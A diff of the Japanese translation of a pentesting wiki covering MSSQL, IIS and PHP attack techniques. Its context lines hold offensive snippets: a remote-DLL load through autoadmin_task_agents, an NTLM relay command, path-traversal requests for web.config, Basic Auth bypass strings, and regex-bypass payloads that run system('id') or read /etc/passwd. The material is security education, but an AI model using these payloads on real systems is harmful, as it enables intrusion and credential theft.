**プロトコルに関連する「ジャンク」データでリクエストを埋める**(FTPに話しかける場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること) +- **プロトコルに関連する「ジャンク」データでリクエストを埋める**(FTPに話しかける場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得する) - **リクエストを多くのヌル文字やその他のもので埋める**(行を分けるかどうかは問わず) いずれにせよ、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 8c0a69647..9afa20a27 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** は、Microsoft によって開発された **リレーショナルデータベース** 管理システムです。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\\ +> **Microsoft SQL Server** は、Microsoft によって開発された **リレーショナルデータベース** 管理システムです。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。 **デフォルトポート:** 1433 ``` @@ -15,9 +15,9 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ### **デフォルトのMS-SQLシステムテーブル** - **master Database**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。 -- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートやジョブのスケジューリングを管理します。 +- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートとジョブのスケジューリングを管理します。 - **model Database**: SQL Serverインスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。 -- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは物理的にはResourceデータベースに保存されていますが、論理的にはすべてのデータベースのsysスキーマに表示されます。 +- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resourceデータベースに物理的に保存されている一方で、すべてのデータベースのsysスキーマに論理的に表示されます。 - **tempdb Database**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。 ## 列挙 @@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> 認証情報が**ない**場合は、推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。 +> もし**資格情報**が**ない**場合は、推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。 -#### Metasploit (認証情報が必要) +#### Metasploit (資格情報が必要) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -159,10 +159,10 @@ SELECT * FROM sysusers - **Server** – 例としてデータベース、ログイン、エンドポイント、可用性グループ、サーバーロールなどがあります。 - **Database** – 例としてデータベースロール、アプリケーションロール、スキーマ、証明書、全文検索カタログ、ユーザーなどがあります。 - **Schema** – テーブル、ビュー、プロシージャ、関数、同義語などが含まれます。 -2. **Permission:** SQL Serverのセキュアブルに関連付けられた権限で、ALTER、CONTROL、CREATEなどが主体に付与されることがあります。権限の管理は2つのレベルで行われます: +2. **Permission:** SQL Serverのセキュアブルに関連付けられ、ALTER、CONTROL、CREATEなどの権限が主体に付与されることがあります。権限の管理は2つのレベルで行われます: - **Server Level** ログインを使用 - **Database Level** ユーザーを使用 -3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。 +3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。 ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -270,15 +270,15 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 > ``` **responder**や**Inveigh**などのツールを使用すると、**NetNTLMハッシュを盗む**ことが可能です。\ -これらのツールの使用方法は次のリンクで確認できます: +これらのツールの使用方法については、次を参照してください: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### MSSQLの信頼されたリンクの悪用 +### MSSQLトラストリンクの悪用 -[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけるために:** +[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけてください:** {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -304,7 +304,7 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, ') -複数のアクションを実行するために構成された Python を使用する例: +構成された Python を使用していくつかのアクションを実行する例: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -343,7 +343,7 @@ GO ``` ### レジストリの読み取り -Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供しています。: +Microsoft SQL Serverは、**複数の拡張ストアドプロシージャ**を提供しており、ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)とも対話することができます。 | **通常** | **インスタンス対応** | | --------------------------- | ------------------------------------ | @@ -366,21 +366,21 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -**より多くの例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を確認してください。 +For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). -### MSSQL ユーザー定義関数による RCE - SQLHttp +### RCE with MSSQL User Defined Function - SQLHttp -**カスタム関数を使用して MSSQL 内に .NET dll をロードすることが可能です**。ただし、**`dbo` アクセスが必要です**ので、データベースに**`sa` または管理者ロール**として接続する必要があります。 +MSSQLで**カスタム関数を使用して.NET dllをロードすることが可能です**。ただし、**`dbo`アクセスが必要です**ので、データベースに**`sa`または管理者ロールとして接続する必要があります**。 -[**このリンクをたどって**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)例を確認してください。 +[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example. -### `autoadmin_task_agents`による RCE +### RCE with `autoadmin_task_agents` -[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモート dll をロードし、MSSQL にそれを実行させることも可能です。 +[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモートdllをロードし、MSSQLにそれを実行させることも可能です。 ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -翻訳する内容がありません。具体的なテキストを提供してください。 +翻訳する内容が提供されていません。翻訳が必要なテキストを提供してください。 ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -432,7 +432,7 @@ public void Test() ``` ### RCEの他の方法 -コマンド実行を取得するための他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)があります。 +コマンド実行を得るための他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)があります。 ## MSSQL特権昇格 @@ -476,7 +476,7 @@ SELECT is_srvrolemember('sysadmin') ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` -または **PS** スクリプト: +または**PS**スクリプト: ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 @@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### 他のユーザーのなりすまし -SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザー**またはログインの権限を引き継ぐことを**許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。 +SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが他のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで有効です。 ```sql # Find users you can impersonate SELECT distinct b.name @@ -505,7 +505,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、他の**データベース**やリンクされたサーバーへのアクセスがあるかどうかを確認するべきです。 +> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース** **やリンクサーバーにアクセスできるかどうかを確認するべきです。** sysadminになると、他のユーザーを偽装できることに注意してください: ```sql @@ -540,12 +540,12 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse 権限を確認した後、次の3つのことを設定する必要があります。 1. SQL ServerインスタンスでTCP/IPを有効にする。 -2. スタートアップパラメータを追加する。この場合、トレースフラグが追加されます。-T7806です。 +2. スタートアップパラメータを追加する。この場合、トレースフラグ-T7806が追加されます。 3. リモート管理接続を有効にする。 これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。 -この攻撃に関する詳細情報は、以下のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +この攻撃に関するさらなる情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index d66a0a83a..9f4eb0065 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -61,7 +61,7 @@ iisfinal.txt > [!NOTE] > 要約すると、アプリケーションのフォルダー内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\ > **ダウンロードしたDll**からは、**新しいnamespaces**を見つけてアクセスし、web.configファイルを取得して新しいnamespacesとassemblyIdentityを見つけることも可能です。\ -> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。\\ +> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。 **.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。 @@ -72,11 +72,11 @@ iisfinal.txt GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` -このリクエストは、次のようなさまざまな設定と依存関係を明らかにします: +このリクエストは、次のようなさまざまな設定と依存関係を明らかにします。 - **EntityFramework** バージョン - ウェブページ、クライアント検証、および JavaScript のための **AppSettings** -- 認証とランタイムのための **System.web** 設定 +- 認証とランタイムのための **System.web** 構成 - **System.webServer** モジュール設定 - **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング @@ -84,11 +84,11 @@ Host: example-mvc-application.minded ### **ルートディレクトリファイル** -ルートディレクトリに見つかるファイル、例えば **/global.asax** と **/connectionstrings.config**(機密パスワードを含む)は、アプリケーションの設定と動作に不可欠です。 +**/global.asax** や **/connectionstrings.config** (機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。 ### **名前空間と Web.Config** -MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** も定義します。これは、別の **web.config** をダウンロードするリクエストで示されています: +MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** も定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。 ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -100,13 +100,13 @@ Host: example-mvc-application.minded GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` -これは、/bin ディレクトリに **System.Web.Mvc.dll** や **System.Web.Optimization.dll** のような他の重要な DLL の存在を示唆しています。 +これは、/bin ディレクトリに **System.Web.Mvc.dll** や **System.Web.Optimization.dll** などの他の重要な DLL の存在を示唆しています。 DLL が **WebApplication1.Areas.Minded** という名前空間をインポートするシナリオでは、攻撃者は **/area-name/Views/** のような予測可能なパスに他の web.config ファイルが存在することを推測するかもしれません。これらのファイルには、特定の構成や /bin フォルダ内の他の DLL への参照が含まれています。例えば、**/Minded/Views/web.config** へのリクエストは、別の DLL **WebApplication1.AdditionalFeatures.dll** の存在を示す構成や名前空間を明らかにすることがあります。 ### 一般的なファイル -[こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から +From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log @@ -189,17 +189,17 @@ C:\xampp\tomcat\conf\server.xml ![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) -これは、サーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\ -ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名があるかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。 +サーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\ +ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名が含まれているかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。 ## 注目すべき古いIISの脆弱性 -### Microsoft IISチルダ文字「\~」脆弱性/機能 – 短いファイル/フォルダー名の漏洩 +### Microsoft IISチルダ文字「\~」脆弱性/機能 – 短いファイル/フォルダ名の漏洩 -この**技術**を使用して、発見されたすべてのフォルダー内の**フォルダーとファイルを列挙**することができます(基本認証が必要な場合でも)。\ -この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダーの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。 +この**技術**を使用して、発見された各フォルダ内の**フォルダやファイルを列挙**してみることができます(Basic Authenticationが必要な場合でも)。\ +この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。 -[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用してこの脆弱性をテストできます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +この脆弱性をテストするには、[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) @@ -209,13 +209,13 @@ C:\xampp\tomcat\conf\server.xml 発見されたファイルの**最終名を見つける**ための良いアイデアは、スクリプト[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)のように**LLMsにオプションを尋ねる**ことです。 -### 基本認証のバイパス +### Basic Authenticationバイパス -**バイパス**基本認証(**IIS 7.5**)を試みる:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php` +**バイパス**する基本認証(**IIS 7.5**)にアクセスしてみてください:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php` -この**脆弱性**と前のものを**組み合わせて**新しい**フォルダー**を見つけ、認証を**バイパス**することができます。 +この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。 -## ASP.NET Trace.AXD 有効なデバッグ +## ASP.NET Trace.AXD有効なデバッグ ASP.NETにはデバッグモードが含まれており、そのファイルは`trace.axd`と呼ばれます。 @@ -233,10 +233,10 @@ ASPXAUTHは次の情報を使用します: - **`validationKey`**(文字列):署名検証に使用する16進エンコードされたキー。 - **`decryptionMethod`**(文字列):(デフォルトは「AES」)。 -- **`decryptionIV`**(文字列):16進エンコードされた初期化ベクター(デフォルトはゼロのベクター)。 +- **`decryptionIV`**(文字列):16進エンコードされた初期化ベクトル(デフォルトはゼロのベクトル)。 - **`decryptionKey`**(文字列):復号化に使用する16進エンコードされたキー。 -ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールでユーザーを作成**できれば、**2つ目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\ +ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールでユーザーを作成**できれば、**2番目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\ この攻撃はこの[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。 ## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 3b3d5dba7..02455240f 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -20,9 +20,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` ## PHPの比較をバイパスする -### 緩やかな比較/型ジャグリング ( == ) +### 緩い比較/型ジャグリング ( == ) -PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較するデータの型も同じであることを確認したい場合は、`===`を使用する必要があります。 +PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためであり、比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。 PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます) - `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい - `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい -- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がない値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい 詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。 @@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 厳密な型のジャグリング -`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。たとえば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です: +`===`が**使用されている**場合でも、**比較が脆弱になる**ようなエラーが発生する可能性があります。例えば、比較が**比較する前にデータを異なる型のオブジェクトに変換している**場合です: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -このチェックを回避するには、**新しい行をURLエンコードした値**(`%0A`)を**送信する**か、**JSONデータ**を送信できる場合は、**複数行**で送信します: +このチェックを回避するには、**新しい行をURLエンコードした値を送信する**(`%0A`)か、**JSONデータ**を送信できる場合は、**複数行で送信**します: ```php { "cmd": "cat /etc/passwd" @@ -97,8 +97,8 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **長さエラーのバイパス** -(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\ -`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストにしている場合、次のように送信できます: +(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\ +`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストに登録している場合、次のように送信できます: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,13 +110,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。 +要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。 -[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\ -**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system()}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**。 +[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\ +**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system()}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。 -さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,000(1M)です。\ -それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ(50万前進し、50万後退)を生成します: +さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\ +それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## パス・トラバーサルとファイルインクルージョンの悪用 +## パス・トラバーサルとファイルインクルージョンの脆弱性 チェック: @@ -153,10 +153,10 @@ readfile($page); ## さらなるトリック -- **register_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。 +- **register_globals**: **PHP < 4.1.1.1** または誤って設定されている場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。 - **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\ -この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。 -- マシンの **ユーザー名** を持っている場合は、アドレス **/\~\** をチェックして、php ディレクトリが有効になっているか確認してください。 +この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する** ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。 +- マシンの **ユーザー名** を持っている場合、アドレス **/\~\** をチェックして、php ディレクトリが有効になっているか確認します。 - [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -174,9 +174,9 @@ True #### ヘッダーを設定した後のエラーの発生 -[**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000を超えるGETパラメータや1000を超えるPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。 +[**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000以上のGETパラメータ、1000のPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。 